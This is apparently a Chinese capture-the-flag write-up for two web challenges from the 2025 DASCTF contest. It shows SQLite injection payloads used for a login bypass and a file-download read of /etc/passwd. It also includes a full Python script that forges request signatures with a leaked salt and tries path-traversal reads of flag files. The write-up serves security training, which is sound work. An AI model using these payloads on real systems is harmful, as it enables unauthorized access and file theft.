2025DASCTF下半年赛wp
SecretPhotoGallery
sqlite注入
查字段
1
2
|
' ORDER BY 3 --
' ORDER BY 4 --
|
字段是3
直接联合注入就登入了
1
|
' UNION SELECT 1, 2, 3 --
|
这里登入回显302会跳转到登入成功的首页,尝试布尔盲注注的表是空的,跟题目描述一致
登入进来会显示我们是guest,源码注释得到secretkey是GALLERY2024SECRET


然后有个文件下载的点

可以读etc/passwd
这里猜测常见flag位置,最后猜到是flag.php

devweb
ai一把梭,把js的加密逻辑丢给它一直分析,后面下载app.jmx继续让它分析就出了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
|
import requests
import base64
import hashlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import urllib3
urllib3.disable_warnings()
# === 配置 ===
BASE_URL = "http://3783549a-d35c-4dd5-ab0b-d79f87f6435d.node5.buuoj.cn:81"
LOGIN_URL = f"{BASE_URL}/login"
DOWNLOAD_URL = f"{BASE_URL}/download"
PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
SALT = "f9bc855c9df15ba7602945fb939deefc" # 来自 app.jmx
# === 核心函数 ===
def encrypt_password(password):
"""RSA加密密码"""
key = RSA.importKey(base64.b64decode(PUBLIC_KEY_STR))
cipher = PKCS1_v1_5.new(key)
return base64.b64encode(cipher.encrypt(password.encode())).decode()
def calc_sign(filename):
"""
复现 Groovy 的签名算法:
1. md5(filename)
2. substring(5, 16)
3. md5(md5_str + sub_str + salt)
"""
# 1. firstMi = MD5(filename)
first_mi = hashlib.md5(filename.encode()).hexdigest()
# 2. jieStr = substring(5, 16)
# Java substring(5, 16) 长度为 11,Python 切片是 [5:16]
jie_str = first_mi[5:16]
# 3. newStr = firstMi + jieStr + salt
new_str = first_mi + jie_str + SALT
# 4. sign = MD5(newStr)
sign = hashlib.md5(new_str.encode()).hexdigest()
print(f"[*] Calc Sign for '{filename}':")
print(f" MD5: {first_mi}")
print(f" Sub: {jie_str}")
print(f" Sign: {sign}")
return sign
def main():
s = requests.Session()
# 1. 登录
print("[*] 1. Logging in...")
try:
s.post(LOGIN_URL, data={"username": "admin", "password": encrypt_password("123456")},
headers={"Content-Type": "application/x-www-form-urlencoded"}, allow_redirects=False)
except Exception as e:
print(f"[!] Login failed: {e}")
return
# 2. 攻击
print("\n[*] 2. Attacking with correct signature...")
# 常见 flag 路径
targets = ["/flag", "flag", "../flag", "../../../../flag"]
for filename in targets:
print(f"\n[-] Target File: {filename}")
# 计算签名
correct_sign = calc_sign(filename)
# 发送请求
params = {
"file": filename,
"sign": correct_sign
}
try:
res = s.get(DOWNLOAD_URL, params=params)
if res.status_code == 200:
content = res.text
if len(content) > 0:
print(f"[+] SUCCESS! Content:\n{content}")
if "flag" in content:
break
else:
print("[-] 200 OK but empty content (File might not exist).")
else:
print(f"[-] Status: {res.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
main()
|